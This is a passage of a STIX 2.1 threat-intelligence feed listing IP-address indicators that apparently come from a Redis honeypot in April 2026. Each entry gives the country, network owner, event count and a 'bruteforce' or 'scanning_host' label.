      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--9b04e9a2-0134-49b8-b0f0-8f3abca3f765",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T19:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.74.62.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T19:25:11.000Z",
      "valid_until": "2026-05-07T19:25:09.000Z"
    },
    {
      "created": "2026-04-05T19:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=RU; asn=34550; asn_org=LLC Intercon; redis_cmd_hits=0",
      "id": "indicator--f6f247e5-1d78-4d43-9d66-9e01613a131b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-05T19:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.113.129.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T19:25:11.000Z",
      "valid_until": "2026-05-07T19:25:09.000Z"
    },
    {
      "created": "2026-04-05T21:25:13.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--209399b4-6229-49b8-990f-e23814ba3143",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T21:25:13.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.88.179.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T21:25:13.000Z",
      "valid_until": "2026-05-07T21:25:09.000Z"
    },
    {
      "created": "2026-04-05T22:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=58466; asn_org=CHINANET Guangdong province network; redis_cmd_hits=0",
      "id": "indicator--6357eb1f-f8f7-40ec-b2a9-c678f0745d48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-05T22:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '14.116.219.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T22:25:03.000Z",
      "valid_until": "2026-05-07T22:25:02.000Z"
    },
    {
      "created": "2026-04-06T01:25:32.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=11; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--3a5c4bff-63fa-4134-8d3e-0731f1ba8a1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T01:25:32.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T01:25:32.000Z",
      "valid_until": "2026-05-08T01:25:03.000Z"
    },
    {
      "created": "2026-04-06T01:25:32.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--4139e390-dd2b-4d49-99e3-306fd5f74c1f",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-06T01:25:32.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T01:25:32.000Z",
      "valid_until": "2026-05-08T01:25:03.000Z"
    },
    {
      "created": "2026-04-06T01:25:32.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=10439; asn_org=CariNet, Inc.; redis_cmd_hits=0",
      "id": "indicator--db81c215-aa54-46a7-991f-e56e29be14b4",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-06T01:25:32.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '71.6.134.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T01:25:32.000Z",
      "valid_until": "2026-05-08T01:25:03.000Z"
    },
    {
      "created": "2026-04-06T02:25:23.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=IN; asn=55353; asn_org=RAJESH PATEL NET SERVICES PVT. LTD.; redis_cmd_hits=0",
      "id": "indicator--84183dd5-3cb7-4400-9f8e-a96b328ac75a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T02:25:23.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '111.118.251.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T02:25:23.000Z",
      "valid_until": "2026-05-08T02:25:04.000Z"
    },
    {
      "created": "2026-04-06T02:25:23.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=TR; asn=49805; asn_org=Berke FINCANCI; redis_cmd_hits=0",
      "id": "indicator--ea3c8524-65d9-475a-a159-aaff561495a5",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-06T02:25:23.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.118.141.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T02:25:23.000Z",
      "valid_until": "2026-05-08T02:25:04.000Z"
    },
    {
      "created": "2026-04-06T03:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=58466; asn_org=CHINANET Guangdong province network; redis_cmd_hits=0",
      "id": "indicator--1065b016-75f7-4523-b9b5-bb5051811f9b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-06T03:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '36.111.32.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T03:25:11.000Z",
      "valid_until": "2026-05-08T03:25:09.000Z"
    },
    {
      "created": "2026-04-06T04:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--2c63eeb0-a193-4caf-951e-0acb22f87726",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-06T04:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '81.70.2.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T04:25:11.000Z",
      "valid_until": "2026-05-08T04:25:09.000Z"
    },
    {
      "created": "2026-04-06T06:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--8da4bd2f-6e68-4c40-92a8-8aa965680fc3",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-06T06:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '175.24.203.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T06:25:11.000Z",
      "valid_until": "2026-05-08T06:25:09.000Z"
    },
    {
      "created": "2026-04-06T06:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=19; ports=6379; cc=NL; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--e52f12ce-e95f-403f-bcf7-9b3db2211858",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T06:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.224.128.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T06:25:11.000Z",
      "valid_until": "2026-05-08T06:25:09.000Z"
    },
    {
      "created": "2026-04-06T06:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--aaa021cb-f235-482b-9d10-0ec4a86e4022",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-06T06:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '39.96.175.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T06:25:11.000Z",
      "valid_until": "2026-05-08T06:25:09.000Z"
    },
    {
      "created": "2026-04-06T06:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=RU; asn=44050; asn_org=Petersburg Internet Network ltd.; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--6face142-5525-47fe-9bfc-ce797db0f2cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T06:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '95.215.0.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T06:25:11.000Z",
      "valid_until": "2026-05-08T06:25:09.000Z"
    },
    {
      "created": "2026-04-06T09:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--c1dbfc8a-4ef1-4630-9770-0fad5f5cad7a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-06T09:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '154.8.237.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T09:25:11.000Z",
      "valid_until": "2026-05-08T09:25:10.000Z"
    },
    {
      "created": "2026-04-06T09:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=RO; asn=47890; asn_org=Unmanaged Ltd; redis_cmd_hits=0",
      "id": "indicator--119bb722-aa58-4581-b2bf-470b35a6b1e9",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-06T09:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.46.255.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T09:25:11.000Z",
      "valid_until": "2026-05-08T09:25:10.000Z"
    },
    {
      "created": "2026-04-06T10:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=134238; asn_org=CHINANET Jiangx province IDC network; redis_cmd_hits=0",
      "id": "indicator--ca87acee-bbfa-4deb-bfe8-e8ace6cf58b6",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-06T10:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '106.225.133.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T10:25:06.000Z",
      "valid_until": "2026-05-08T10:25:04.000Z"
    },
    {
      "created": "2026-04-06T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--cfd5e92e-fa06-4f7c-8899-a13c382a809f",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-06T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '120.48.134.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T11:25:10.000Z",
      "valid_until": "2026-05-08T11:25:09.000Z"
    },
    {
      "created": "2026-04-06T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--18b133d8-34b1-4a1b-a219-342246c8ef38",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-06T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '125.94.106.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T11:25:10.000Z",
      "valid_until": "2026-05-08T11:25:09.000Z"
    },
    {
      "created": "2026-04-06T12:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--ac5f78d9-486c-4555-a16a-a8cd1ea21568",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T12:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '157.245.229.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T12:25:11.000Z",
      "valid_until": "2026-05-08T12:25:09.000Z"
    },
    {
      "created": "2026-04-06T13:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--1fe2666a-9fff-4e65-aea4-7b3264ebba14",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-06T13:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '39.105.202.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T13:25:11.000Z",
      "valid_until": "2026-05-08T13:25:09.000Z"
    },
    {
      "created": "2026-04-06T13:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--06146911-f05a-4a6e-99c3-f1dd98759d0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T13:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T13:25:11.000Z",
      "valid_until": "2026-05-08T13:25:09.000Z"
    },
    {
      "created": "2026-04-06T13:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--c36834c0-ced1-48fe-b632-5f81bb73a2eb",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-06T13:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T13:25:11.000Z",
      "valid_until": "2026-05-08T13:25:09.000Z"
    },
    {
      "created": "2026-04-06T13:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=BG; asn=48090; asn_org=Techoff Srv Limited; redis_cmd_hits=0",
      "id": "indicator--44c21716-38dd-44a3-9ca5-621bee22e003",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-06T13:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '93.123.109.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T13:25:11.000Z",
      "valid_until": "2026-05-08T13:25:09.000Z"
    },
    {
      "created": "2026-04-06T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--c390beb6-0e6a-4ba5-9a2f-6dc10bda804a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-06T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '46.101.146.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T15:25:10.000Z",
      "valid_until": "2026-05-08T15:25:09.000Z"
    },
    {
      "created": "2026-04-06T16:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--e85c4b06-bf8d-404a-8ea8-2f07b823d4b9",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-06T16:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '101.206.108.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T16:25:11.000Z",
      "valid_until": "2026-05-08T16:25:10.000Z"
    },
    {
      "created": "2026-04-06T19:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--1ef6d8c0-acb8-4adc-81aa-10cfd0a911d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T19:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T19:25:05.000Z",
      "valid_until": "2026-05-08T19:25:04.000Z"
    },
    {
      "created": "2026-04-06T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--6d59f4c3-6426-4496-aa98-3a8efd488b84",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-06T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '157.230.235.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T21:25:10.000Z",
      "valid_until": "2026-05-08T21:25:08.000Z"
    },
    {
      "created": "2026-04-06T23:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--d3aa3816-d116-4d72-8023-c5e8484c8c8f",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-06T23:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '120.48.151.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T23:25:04.000Z",
      "valid_until": "2026-05-08T23:25:03.000Z"
    },
    {
      "created": "2026-04-07T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--2a382b6c-13d3-45ed-a704-0047641db63b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-07T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '106.13.124.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T00:25:10.000Z",
      "valid_until": "2026-05-09T00:25:09.000Z"
    },
    {
      "created": "2026-04-07T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=22; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--d1ba0169-ef67-4e5a-91f7-a91aa07f35f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '192.241.130.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T00:25:10.000Z",
      "valid_until": "2026-05-09T00:25:09.000Z"
    },
    {
      "created": "2026-04-07T01:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--6b9fc1a6-733c-4598-9b24-3e4cffbe98c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T01:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.29.21.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T01:25:11.000Z",
      "valid_until": "2026-05-09T01:25:09.000Z"
    },
    {
      "created": "2026-04-07T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--d85f8f93-648e-4f08-80e8-a653d16a567c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T02:25:10.000Z",
      "valid_until": "2026-05-09T02:25:09.000Z"
    },
    {
      "created": "2026-04-07T03:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--d25ef42f-e74a-465a-beed-79555082ef03",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-07T03:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '183.56.183.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T03:25:05.000Z",
      "valid_until": "2026-05-09T03:25:04.000Z"
    },
    {
      "created": "2026-04-07T04:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=GB; asn=211298; asn_org=Driftnet Ltd; redis_cmd_hits=0",
      "id": "indicator--45499378-5690-4ce7-8550-af31266c8693",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-07T04:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.163.125.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T04:25:05.000Z",
      "valid_until": "2026-05-09T04:25:03.000Z"
    },
    {
      "created": "2026-04-07T04:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=4812; asn_org=China Telecom Group; redis_cmd_hits=0",
      "id": "indicator--30cb16a0-217b-4c34-9aae-7f5c489570e9",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-07T04:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '218.78.131.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T04:25:05.000Z",
      "valid_until": "2026-05-09T04:25:03.000Z"
    },
    {
      "created": "2026-04-07T04:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=NL; asn=60781; asn_org=LeaseWeb Netherlands B.V.; redis_cmd_hits=0",
      "id": "indicator--605d7ada-ecac-4099-b962-0719daea7188",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-07T04:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '95.211.47.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T04:25:05.000Z",
      "valid_until": "2026-05-09T04:25:03.000Z"
    },
    {
      "created": "2026-04-07T05:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--7a58d934-ad32-4697-b07d-ceda43c25226",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-07T05:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '180.76.52.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T05:25:12.000Z",
      "valid_until": "2026-05-09T05:25:08.000Z"
    },
    {
      "created": "2026-04-07T05:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=NL; asn=49870; asn_org=Alsycon B.V.; redis_cmd_hits=0",
      "id": "indicator--23b6403f-6741-46f0-9590-ca362e7e67bc",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-07T05:25:12.000Z",
